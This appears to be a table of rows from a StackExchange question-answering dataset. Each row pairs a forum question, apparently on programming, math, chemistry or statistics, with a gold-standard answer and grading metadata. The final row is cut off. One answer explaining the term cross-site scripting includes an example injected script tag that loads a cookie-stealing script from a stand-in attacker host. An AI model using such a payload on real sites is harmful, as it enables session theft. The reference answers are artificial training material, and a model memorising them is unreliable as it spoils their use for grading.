source string | task_type string | in_source_id string | instruction_seed string | gold_standard_solution string | verification_info string | metadata string | problem_id string | _source string |
|---|---|---|---|---|---|---|---|---|
stackexchange | llm_judgeable_groundtruth_similarity | 15179584 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I want to select the items in the JList specific to what the patient already clicked. If I click on the 3rd patient, the JList will select the items that patient selected. In... | Why is it preferable to member functions ::lock() and ::unlock()? For the same reason why the RAII idiom became popular in general (this is just one of its countless instances): because you can be sure you don' leave the current scope without unlocking the mutex. Notice, that this is not just about forgetting to call u... | {} | {'log_upvote_score': 7, 'links': ['https://Stackoverflow.com/questions/15179584', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/1504791/']} | jdg_106234 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 23767489 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I know a common characteristic of the file names of a number of unwanted files on my Windows computer. How can I remove all of these files from a given folder or folder hiera... | You can pipe a Get-ChildItem command through a Where-Object filter that accepts a RegEx pattern, and then pipe that into Remove-Item. I think that will get you a faster, and better result than using Select-String. With a command like: Get-ChildItem $Path | Where{$_.Name -Match "<RegEx Pattern>"} | Remove-Item The Name ... | {} | {'log_upvote_score': 7, 'links': ['https://Stackoverflow.com/questions/23767489', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/499567/']} | jdg_263892 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 94914 |
Below is a question asked on the forum mathematica.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
it's me again. I'm trying to obtain a numerical solution to Navier-Stokes equations in 2D in a non-rectangular region. So far, this guide was very helpful, but he... | OK, let me come straight - I did not read your question much beyond the title and this post will not address the specific issues you raise in your question. As an alternative I'll show how to use the low level FEM functionality to code up a non-linear Navier-Stokes solver. The documentation explains the details about t... | {} | {'log_upvote_score': 7, 'links': ['https://mathematica.stackexchange.com/questions/94914', 'https://mathematica.stackexchange.com', 'https://mathematica.stackexchange.com/users/16320/']} | jdg_363408 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 5754879 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I am a bit new in threading in c# and on general,in my program I am using mutex to allow only 1 thread getting inside a critical section and for unknown reason with doing som... | The problem here is that all your callers are using a different mutex; you need the locking object to be shared , usually by making it a field. For example, and switching to a simpler lock metaphor: private readonly object syncLock = new object();public void ThreadSafeMethod() { lock(syncLock) { /* critical c... | {} | {'log_upvote_score': 7, 'links': ['https://Stackoverflow.com/questions/5754879', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/412137/']} | jdg_344679 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 16239513 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I am building a list of PDFs in HTML. In the list I'd like to include a download link and a print button/link. Is there some way to directly open the Print dialog for the PDF... | Based on comments below, it no longer works in modern browsers This question demonstrates an approach that might be helpful to you: Silent print an embedded PDF It uses the <embed> tag to embed the PDF in the document: <embed type="application/pdf" src="path_to_pdf_document.pdf" id="pdfDocument" width="100%... | {} | {'log_upvote_score': 7, 'links': ['https://Stackoverflow.com/questions/16239513', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/340446/']} | jdg_109508 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 14628782 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I declare following object List<string> list = {"Kate", "John", "Paul", "Eve", "Hugo"}; I would like to move "Eve" at front of my list? How can I do that. I must not to reord... | list.Remove("Eve"); // Removes the first "Eve" element in the listlist.Insert(0, "Eve"); // Inserts "Eve" at the first position in the list However, if your list contains multiple "Eve"s, calling Remove("Eve") will only remove the first occurrence of "Eve". And you have to know that inserting element at the beginning... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/14628782', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/650148/']} | jdg_100446 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 32139596 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I am very new to shiny and R but using shiny I am trying to connect to a database fetch the data from there. When I try to access my RShiny work on browser continuously I got... | Maybe you open a new DB connection with obj <- dbConnect(...) every time you send a query in your code. You can simply call dbDisconnect(obj) on the object you created to kill the respective connection everytime after your query executed. Also you can use this function kill all open connections at once: library(RMySQL)... | {} | {'log_upvote_score': 7, 'links': ['https://Stackoverflow.com/questions/32139596', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/987517/']} | jdg_71984 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 42392137 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I Want to hide and show the input field by clicking a button.can anyone please tell me how to do. My code follows: <button ion-button full round >Click </button> Need to Hide... | You could use a variable in your code behind and an *ngIf your.component.html <button ion-button full round (click)="onButtonClick()">Click</button><ion-input *ngIf="buttonClicked" type="text" value=""></ion-input> your.component.ts export class YourComponent { public buttonClicked: boolean = false; //Whatever you w... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/42392137', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/6193651/']} | jdg_260533 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 7914354 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I'm using Oracle 11g Standard Edition. I would like to log all SQL queries, that are being executed by users, into a table. How can this be done?
Now provide the response an... | If you're using a modern version of the database (9i or later) and you have an Enterprise Edition license you can use Fine-Graining Auditing. It allows us to audit user queries at a very low level of granularity, through defined policies. To capture SQL text and bind variables you will need to set the AUDIT_TRAIL para... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/7914354', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/553820/']} | jdg_238673 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 11862317 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I'm having problem to control the iPhone controls with my avplayer. if I put the function - (void)remoteControlReceivedWithEvent:(UIEvent *)event in the view controller that ... | You can move the function up the responder chain, to UIApplication subclass. This way, it will always be there to catch the event. This kind of event is ignored in common UI and controller classes, so it travels up to the bottom of responder chain, where your app delegate and the the application itself reside. As noted... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/11862317', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/700230/']} | jdg_319870 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 47868865 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I have read the topic: Collectors.groupingBy doesn't accept null keys But I don't understand how can I apply it for my issue: my code: Map<String, List<MappingEntry>> mapping... | Use Collectors.toMap instead and specify that a HashMap is used (as it allows one null key) Collectors.toMap( MappingEntry::getMilestone, x -> { List<MappingEntry> list = new ArrayList<>(); list.add(x); return list; }, (left, right) -> { left.addAll(right... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/47868865', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/2674303/']} | jdg_342273 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 1882894 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
Here is an example array: $foo = array( 'employer' => array( 'name' => 'Foobar Inc', 'phone' => '555-555-5555' ... | Something like this: function makeNonNestedRecursive(array &$out, $key, array $in){ foreach($in as $k=>$v){ if(is_array($v)){ makeNonNestedRecursive($out, $key . $k . '_', $v); }else{ $out[$key . $k] = $v; } }}function makeNonNested(array $in){ $out = array(); make... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/1882894', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/89761/']} | jdg_186087 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 59907 |
Below is a question asked on the forum chemistry.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
Which of the following compounds has the longest bond length? (A) $\ce{H3C-CF3}$ (B) $\ce{FCH2-CH2F}$ (C) $\ce{F2CH-CHF2}$ (D) $\ce{F3C-CF3}$ My logic was based on ... | Actually, the more the polarization of a bond, the stronger it is, since both the atoms are drawn close together due to electrostatic attraction, decreasing the bond length and increasing the bond stability (think about ionic bonds. Your reasoning would dictate them to be very weak, while we know how strong they are!).... | {} | {'log_upvote_score': 5, 'links': ['https://chemistry.stackexchange.com/questions/59907', 'https://chemistry.stackexchange.com', 'https://chemistry.stackexchange.com/users/34911/']} | jdg_258290 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 1412884 |
Below is a question asked on the forum math.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
The equation is $$\sqrt{7-4\sqrt2 \sin x}=2\cos(x)-\sqrt2 \tan(x)$$ We get the system $$\begin{cases}7-4\sqrt 2 \sin(x)=4\cos^2(x)-2\sqrt2\cos(x)\tan(x)+2\tan^2(x) \\2\c... | Hint: The solutions of $$\sqrt{7-4\sqrt2 \sin x}=2\cos(x)-\sqrt2 \tan(x)$$are also solutions of \begin{align*}7-4\sqrt{2}\sin x&=4\cos^2 x-4\sqrt{2}\cos x\tan x+2\tan^2 x\\7-4\sqrt{2}\sin x&=4\cos^2 x-4\sqrt{2}\sin x+2\tan^2 x\end{align*}Last equation is equivalent to$$4\cos^2 x+2\tan^2 x -7=0...(1)$$Let $t=\cos^2 x$, ... | {} | {'log_upvote_score': 4, 'links': ['https://math.stackexchange.com/questions/1412884', 'https://math.stackexchange.com', 'https://math.stackexchange.com/users/126401/']} | jdg_373467 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 34191 |
Below is a question asked on the forum linguistics.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
More generally, is there any compelling evidence for any common roots between early Indo-European and Afro-Asiatic languages? There are almost necessarily some wo... | Definitely! The most common are direct loanwords from one language into another, or Wanderwörter , words that spread over long distances via trade. For the first category, look at sabbatum , the Latin word for the Jewish day of rest. This is quite definitely borrowed from Hebrew שַׁבָּת ( shabbāth ), since Latin didn't... | {} | {'log_upvote_score': 4, 'links': ['https://linguistics.stackexchange.com/questions/34191', 'https://linguistics.stackexchange.com', 'https://linguistics.stackexchange.com/users/27038/']} | jdg_324038 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 25301751 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I've got the following code in my app - and I see some crashes on iOS 7 in the line with the comment. + (void)registerDeviceForRemoteNotifications {#if !TARGET_IPHONE_SIMULAT... | Your code only adds support for compiling on an older version of Xcode and the iOS SDK. You should add the following checks at runtime: #ifdef __IPHONE_8_0 if(NSFoundationVersionNumber > NSFoundationVersionNumber_iOS_7_1) { [sharedApplication registerForRemoteNotifications]; // <--- CRASH HERE ... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/25301751', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/27404/']} | jdg_289485 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 32245 |
Below is a question asked on the forum mathematica.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
How to find the maximum of a function on a set of discrete points? For example, what is the best way to find the maximum of -2 a - 2 b - 2 c - 2 d - 2 e - 2 f + e... | Since the expression is slightly involved I'd put it in Table and write its all values for {a, {-1, 1}}, {b, {-1, 1}},..., {m, {-1, 1}} It can be done this way With[{iter = Sequence @@ Table[{var, {-1, 1}}, {var, {a, b, c, d, e, f, g, h, i, j, k, l, m}}]}, With[{tab = Table... | {} | {'log_upvote_score': 4, 'links': ['https://mathematica.stackexchange.com/questions/32245', 'https://mathematica.stackexchange.com', 'https://mathematica.stackexchange.com/users/8934/']} | jdg_303377 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 135545 |
Below is a question asked on the forum security.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
Why is Cross-site scripting called Cross-site scripting? The term implies to me (a non-native English speaker) that there is some other web site involved that attack... | From the link schroeder gave in the comment the origin of the "Cross" in XSS becomes apparent: the first XSS was because Alex goes to evilsite.com and sees a link saying: 'see cute puppies on nicesite.com?q=puppies&<script src="evilsite.com/steal_auth_cookie.js"></script>' . Clicking on the link on evilsite.com result... | {} | {'log_upvote_score': 5, 'links': ['https://security.stackexchange.com/questions/135545', 'https://security.stackexchange.com', 'https://security.stackexchange.com/users/123076/']} | jdg_227245 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 43633415 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I am working with an iOS app which uses both objective-c and swift code. Currently app IPA size became large. Some resources are included but may not be used in Release IPA. ... | So far the best tool I found is https://github.com/tinymind/LSUnusedResources LSUnusedResources A Mac App to find unused images and resources in an XCode project. It is heavily influenced by jeffhodnett‘s Unused, but Unused is very slow, and the results are not entirely correct. So It made some performance optimization... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/43633415', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/1084174/']} | jdg_70711 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 6076690 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I'd like to be able to specify different verbose level, by adding more -v options to the command line. For example: $ myprogram.py $ myprogram.py -v$ myprogram.py -vv$ myp... | argparse supports action='count' : import argparseparser = argparse.ArgumentParser()parser.add_argument('-v', '--verbose', action='count', default=0)for c in ['', '-v', '-v -v', '-vv', '-vv -v', '-v -v --verbose -vvvv']: print(parser.parse_args(c.split())) Output: Namespace(verbose=0)Namespace(verbose=1)Namespace(ve... | {} | {'log_upvote_score': 7, 'links': ['https://Stackoverflow.com/questions/6076690', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/621944/']} | jdg_176363 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 38538 |
Below is a question asked on the forum cstheory.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
In Mike and Ike's "Quantum Computation and Quantum Information", Grover's algorithm is explained in great detail. However, in the book, and in all explanations I hav... | The oracle is basically just an implementation of the predicate you want to search for a satisfying solution to. For example, suppose you have a 3-sat problem: (¬x1 ∨ ¬x3 ∨ ¬x4) ∧ (x2 ∨ x3 ∨ ¬x4) ∧ (x1 ∨ ¬x2 ∨ x4) ∧ (x1 ∨ x3 ∨ x4) ∧ (¬x1 ∨ x2 ∨ ¬x3) Or, in table form with each row being a 3-clause, x meanin... | {} | {'log_upvote_score': 6, 'links': ['https://cstheory.stackexchange.com/questions/38538', 'https://cstheory.stackexchange.com', 'https://cstheory.stackexchange.com/users/45964/']} | jdg_157346 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 13065289 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
We're building a ServiceStack API which will use Basic authentication. I've currently set up the auth in my AppHost as follows: var authDb = new OrmLiteConnectionFactory("Ser... | By default ServiceStack's AuthFeature will only try to redirect you to the default ~/login path for HTML Content-Type requests. You can override this by setting the redirect path in the AuthFeature to null: Plugins.Add(new AuthFeature(...) { HtmlRedirect = null }); This will fall back to the standard 401 UnAuthorized R... | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/13065289', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/852221/']} | jdg_140133 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 6067244 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
As mentioned in the title, I would like to know about the type of 'this' pointer. I'm working on a project and I observed that the type of 'this' pointer is "ClassName * cons... | The type of this pointer is either ClassName * or const ClassName * , depending on whether it is inspected inside a non-const or const method of the class ClassName . Pointer this is not an lvalue. class ClassName { void foo() { // here `this` has `ClassName *` type } void bar() const { // here `this` has `con... | {} | {'log_upvote_score': 7, 'links': ['https://Stackoverflow.com/questions/6067244', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/573709/']} | jdg_269195 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 32506 |
Below is a question asked on the forum electronics.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
why 220v power supply may damage a system working on 110 V? After some research I found out that 220 V is 50 HZ & 110 V is 60 HZ ... Also I've a guess that the in... | The most simple component must be the resistor. Power in a resistor is \$ P = \dfrac{V^2}{R} \$ That means the power in the same resistor will be 4 times as big at 220V than at 110V. The resistor is not designed for that, will overheat and break. A number of components may fail this way. Another failure method is due t... | {} | {'log_upvote_score': 4, 'links': ['https://electronics.stackexchange.com/questions/32506', 'https://electronics.stackexchange.com', 'https://electronics.stackexchange.com/users/5281/']} | jdg_82215 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 16245633 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
It is unclear to me when using compiler directives which of the below two code snippets is correct/preferred and why. It seems that most developers and Open Source projects I... | You are correct. #if DEBUG will not evaluate if DEBUG is defined as 0 . As for when to use each, you can stick to using #ifdef for anything where you only need to add code if the preprocessor definition is present, such as adding debug logging. If you need to inspect the value and go down different compilation paths, t... | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/16245633', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/2075607/']} | jdg_127025 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 3906831 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I'm trying to write a function that returns a memoized recursive function in Clojure, but I'm having trouble making the recursive function see its own memoized bindings. Is t... | This seems to work: (defn make-fibo [y] (with-local-vars [fib (memoize (fn [x] (if (< x 2) y (+ (fib (- x 2)) (fib (dec x))))))] (.bindRoot fib @fib) @fib)) with-local-vars only provides thread-local bindings for the newly created Vars, which are popped ... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/3906831', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/316182/']} | jdg_140705 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 2236173 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I'm gonna detect the resolution with the following code in WPF : double height = System.Windows.SystemParameters.PrimaryScreenHeight;double width = System.Windows.SystemParam... | Keep in mind that all WPF locations and sizes are floating point with a unit of 1/96 inch. Not pixels. This makes your window designs resolution independent. Doing the math: height = 960 / 96 = 10 inches. With your video adapter set to 120 DPI (120/96 = 125%): 10 * 120 = 1200 pixels. Same for width: 1536 / 96 * 12... | {} | {'log_upvote_score': 6, 'links': ['https://Stackoverflow.com/questions/2236173', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/191647/']} | jdg_141445 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 79126 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I'm building a function to extend the Enum.Parse concept that Allows a default value to be parsed in case that an Enum value is not found Is case insensitive So I wrote the f... | This feature is finally supported in C# 7.3! The following snippet (from the dotnet samples ) demonstrates how: public static Dictionary<int, string> EnumNamedValues<T>() where T : System.Enum{ var result = new Dictionary<int, string>(); var values = Enum.GetValues(typeof(T)); foreach (int item in values) ... | {} | {'log_upvote_score': 11, 'links': ['https://Stackoverflow.com/questions/79126', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/5302/']} | jdg_112573 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 13046167 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I have a file that is constantly being written to/updated. I want to find the last line containing a particular word, then print the last column of that line. The file looks ... | You don't see anything, because of buffering. The output is shown, when there are enough lines or end of file is reached. tail -f means wait for more input, but there are no more lines in file and so the pipe to grep is never closed. If you omit -f from tail the output is shown immediately: tail file | grep A1 | awk '{... | {} | {'log_upvote_score': 9, 'links': ['https://Stackoverflow.com/questions/13046167', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/270043/']} | jdg_289758 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 208867 |
Below is a question asked on the forum stats.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
I understand that one of the reason logistic regression is frequently used for predicting click-through-rates on the web is that it produces well-calibrated models. Is... | Yes. The predicted probability vector $p$ from logistic regression satisfies the matrix equation $$ X^t(p - y) = 0$$ Where $X$ is the design matrix and $y$ is the response vector. This can be viewed as a collection of linear equations, one arising from each column of the design matrix $X$. Specializing to the intercep... | {} | {'log_upvote_score': 5, 'links': ['https://stats.stackexchange.com/questions/208867', 'https://stats.stackexchange.com', 'https://stats.stackexchange.com/users/113195/']} | jdg_91627 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 25146945 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I am using a LinkedList and I want to get the previous (and the next) element, but not sure how to approach that. My linked list: LinkedList<Transaction> transactions = trans... | Enhanced for loop uses Iterator behind the scenes, and this interface doesn't provide any method to go to the previous element. Use LinkedList#listIterator instead: ListIterator<Transaction> li = transactions.listIterator(0);while (li.hasNext()) { //your logic goes here //if you need to go to the previous place ... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/25146945', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/1232197/']} | jdg_284966 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 65263 |
Below is a question asked on the forum chemistry.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
I have faced several questions regarding the diamagnetic behaviour of certain organic compounds. I know that one has to check the electronic configuration of the at... | If all the electrons are spin paired then the molecule will be in a singlet state$^*$ and will be diamagnetic, if they are not so paired then it will be will be paramagnetic. The rules are the same whether or not the molecule is 'organic'. Most 'normal' organic compounds, e.g. methane, benzene, etc. have paired electr... | {} | {'log_upvote_score': 4, 'links': ['https://chemistry.stackexchange.com/questions/65263', 'https://chemistry.stackexchange.com', 'https://chemistry.stackexchange.com/users/32360/']} | jdg_103569 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 6762469 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I have an old piece of code that I want to upgrade it to Delphi XE.I have a compiler warning about Resume and I want to replace it with Start but the program crashes. constru... | The simple answer is that you should not create this thread suspended since you want it to start immediately. Remove the call to Start and pass False to the inherited constructor. Note that the thread isn't started until all constructors have run to completion so the meaning is identical to your posted code. As to why... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/6762469', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/46207/']} | jdg_199278 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 14150 |
Below is a question asked on the forum quantumcomputing.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
I want to evalualte the quantum relative entropy $S(\rho|| \sigma)=-{\rm tr}(\rho {\rm log}(\sigma))-S(\rho)$ , where $\sigma=|\Psi\rangle\langle\Psi|$ is a ... | A qubit is a two-level quantum system and hence it can be written as: $$ |\psi \rangle = \alpha |0\rangle + \beta|1\rangle $$ where $|0 \rangle$ and $|1\rangle$ are the computational basis and they defined as $$ |0\rangle = \begin{pmatrix} 1 \\ 0 \end{pmatrix} \ \ \ \ |1\rangle = \begin{pmatrix} 0 \\ 1 \end{pmatrix} $... | {} | {'log_upvote_score': 4, 'links': ['https://quantumcomputing.stackexchange.com/questions/14150', 'https://quantumcomputing.stackexchange.com', 'https://quantumcomputing.stackexchange.com/users/9082/']} | jdg_381625 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 4329835 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I had opened a file in binary mode and like to write to an file . ofstream ofile("file.txt",ios_base::binary) int a = 1; float f = 0.1; string str = 10; ofile<<a<... | operator<< will format your data as text. Whereas write will output data in the same format as it's stored in ram. So, if you are writing binary files, you want to use write. However, if you are writing non-pod types, you need to be careful. You can't just say: write( &mystring, sizeof(std::string) ); You need to ha... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/4329835', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/357037/']} | jdg_222609 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 106543 |
Below is a question asked on the forum mathoverflow.net. Provide a good and informational response to it like a helpful human would.
Question:
Hi, is there a possibility to classify irreducible representations of (finite) groups over $ \mathbb{Z_p} $with $p\neq 2$ a prime? Can one get the number of the irred. represe... | Usually, "irreducible" means having no subrepresentations. In the integral context, there is no such thing, since for any $\mathbb{Z}_p[G]$-module $M$, $pM$ is a proper submodule. The right question is to try and classify the indecomposable representations, i.e. those that cannot be written as direct sums of subreprese... | {} | {'log_upvote_score': 4, 'links': ['https://mathoverflow.net/questions/106543', 'https://mathoverflow.net', 'https://mathoverflow.net/users/26269/']} | jdg_237836 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 8715 |
Below is a question asked on the forum chemistry.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
I have dilutions of different samples, which are made with 0.1 M $\ce{HNO3}$. Only I left them on the lab table for a few days and one turned yellow. So my question... | Pure nitric acid is colourless, the brown colour is caused by dissolved nitrogen dioxide, $\ce{NO2}$. Nitrogen dioxide is formed by the slow decomposition of nitric acid, according to $$\ce{4 HNO3 -> 4 NO2 + 2 H2O + O2}$$ Nitrogen dioxide is a good oxidant and it does so - supposed that it finds a suitable partner. Thi... | {} | {'log_upvote_score': 4, 'links': ['https://chemistry.stackexchange.com/questions/8715', 'https://chemistry.stackexchange.com', 'https://chemistry.stackexchange.com/users/4633/']} | jdg_185843 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 18375 |
Below is a question asked on the forum mathematica.stackexchange.com. Provide a good and informational response to it like a helpful human would.
Question:
I would like to plot the world map without the countries' borders and just the coastlines (in Mathematica 8). I need to overlap a temperature contour plot on the ... | You can easily do it using CountryData and there's no need to import anything. For this, we'll need an undocumented function, Graphics`Mesh`PolygonCombine , which will be used to "combine" all the countries so that there are no internal borders. Evaluating Graphics`Mesh`MeshInit[] will load the undocumented functions i... | {} | {'log_upvote_score': 4, 'links': ['https://mathematica.stackexchange.com/questions/18375', 'https://mathematica.stackexchange.com', 'https://mathematica.stackexchange.com/users/5483/']} | jdg_112580 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 4420382 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I wanted to use a dynamic variable name in the select statement in xslt. <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"><xsl:output method="xm... | XSLT 1.0 and XSLT 2.0 don't have dynamic evaluation. Solution for your problem : This transformation : <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:my="my:my"> <xsl:output method="text"/> <my:values> <name>MyName</name> <address>MyAdress</address> </my:values> <xsl:template mat... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/4420382', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/539328/']} | jdg_363905 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 10504724 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
I have written a function that returns a vector of color names: custom.colors <- function(n) { palette <- c("dodgerblue1", "skyblue4", "chocolate1", "seagreen4", ... | 17 days ago (2020-05-19) work by Carson Sievert has been merged into the development version of ggplot2 that allow to specify the default discrete color palette(s) with an option ( ggplot2.discrete.fill & ggplot2.discrete.colour ): options(ggplot2.discrete.colour= c("red", "#af01ef")) It also allows to specify several ... | {} | {'log_upvote_score': 5, 'links': ['https://Stackoverflow.com/questions/10504724', 'https://Stackoverflow.com', 'https://Stackoverflow.com/users/1278855/']} | jdg_97586 | PrimeIntellect/stackexchange-question-answering |
stackexchange | llm_judgeable_groundtruth_similarity | 2773914 |
Below is a question asked on the forum Stackoverflow.com. Provide a good and informational response to it like a helpful human would.
Question:
